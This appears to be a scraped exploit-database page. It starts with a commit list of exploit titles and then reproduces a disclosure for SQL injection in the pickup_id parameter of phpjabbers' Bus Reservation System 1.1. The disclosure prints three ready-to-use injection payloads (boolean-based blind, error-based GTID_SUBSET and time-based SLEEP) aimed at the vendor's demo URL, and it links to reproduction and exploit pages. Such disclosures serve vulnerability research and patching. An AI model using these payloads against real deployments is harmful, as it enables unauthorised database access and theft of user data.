4e246a01fb
18 changes to exploits/shellcodes/ghdb
DLINK DPH-400SE - Exposure of Sensitive Information
FileMage Gateway 1.10.9 - Local File Inclusion
Academy LMS 6.1 - Arbitrary File Upload
AdminLTE PiHole 5.18 - Broken Access Control
Blood Donor Management System v1.0 - Stored XSS
Bus Reservation System 1.1 - Multiple-SQLi
Credit Lite 1.5.4 - SQL Injection
CSZ CMS 1.3.0 - Stored Cross-Site Scripting ('Photo URL' and 'YouTube URL' )
CSZ CMS 1.3.0 - Stored Cross-Site Scripting (Plugin 'Gallery')
Hyip Rio 2.1 - Arbitrary File Upload
Member Login Script 3.3 - Client-side desync
SPA-Cart eCommerce CMS 1.9.0.3 - Reflected XSS
Webedition CMS v2.9.8.8 - Remote Code Execution (RCE)
Webedition CMS v2.9.8.8 - Stored XSS
Webedition CMS v2.9.8.8 - Remote Code Execution (RCE)
Webedition CMS v2.9.8.8 - Stored XSS
WP Statistics Plugin 13.1.5 current_page_id - Time based SQL injection (Unauthenticated)
Freefloat FTP Server 1.0 - 'PWD' Remote Buffer Overflow
Kingo ROOT 1.5.8 - Unquoted Service Path
NVClient v5.0 - Stack Buffer Overflow (DoS)
Ivanti Avalanche <v6.4.0.0 - Remote Code Execution
48 lines
No EOL
1.8 KiB
Text
48 lines
No EOL
1.8 KiB
Text
## Title: Bus Reservation System-1.1 Multiple-SQLi
|
|
## Author: nu11secur1ty
|
|
## Date: 08/26/2023
|
|
## Vendor: https://www.phpjabbers.com/
|
|
## Software: https://demo.phpjabbers.com/1693027053_628/preview.php?lid=1
|
|
## Reference: https://portswigger.net/web-security/sql-injection
|
|
|
|
## Description:
|
|
The `pickup_id` parameter appears to be vulnerable to SQL injection
|
|
attacks. The payload ' was submitted in the pickup_id parameter, and a
|
|
database error message was returned. You should review the contents of
|
|
the error message, and the application's handling of other input, to
|
|
confirm whether a vulnerability is present. The attacker can steal
|
|
information from all database!
|
|
|
|
STATUS: HIGH-CRITICAL Vulnerability
|
|
|
|
[+]Payload:
|
|
```mysql
|
|
---
|
|
Parameter: pickup_id (GET)
|
|
Type: boolean-based blind
|
|
Title: Boolean-based blind - Parameter replace (original value)
|
|
Payload: controller=pjFrontEnd&action=pjActionGetLocations&locale=1&hide=0&index=6138&pickup_id=(SELECT
|
|
(CASE WHEN (3959=3959) THEN 0x3927 ELSE (SELECT 8499 UNION SELECT
|
|
2098) END))&session_id=
|
|
|
|
Type: error-based
|
|
Title: MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)
|
|
Payload: controller=pjFrontEnd&action=pjActionGetLocations&locale=1&hide=0&index=6138&pickup_id=GTID_SUBSET(CONCAT(0x71626b7a71,(SELECT
|
|
(ELT(5210=5210,1))),0x716a6b7171),5210)&session_id=
|
|
|
|
Type: time-based blind
|
|
Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
|
|
Payload: controller=pjFrontEnd&action=pjActionGetLocations&locale=1&hide=0&index=6138&pickup_id=(SELECT
|
|
2616 FROM (SELECT(SLEEP(15)))clIR)&session_id=
|
|
---
|
|
|
|
```
|
|
|
|
## Reproduce:
|
|
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/phpjabbers/2023/Bus-Reservation-System-1.1-Multiple-SQLi)
|
|
|
|
## Proof and Exploit:
|
|
[href](https://www.nu11secur1ty.com/2023/08/bus-reservation-system-11-multiple-sqli.html)
|
|
|
|
## Time spend:
|
|
00:25:00 |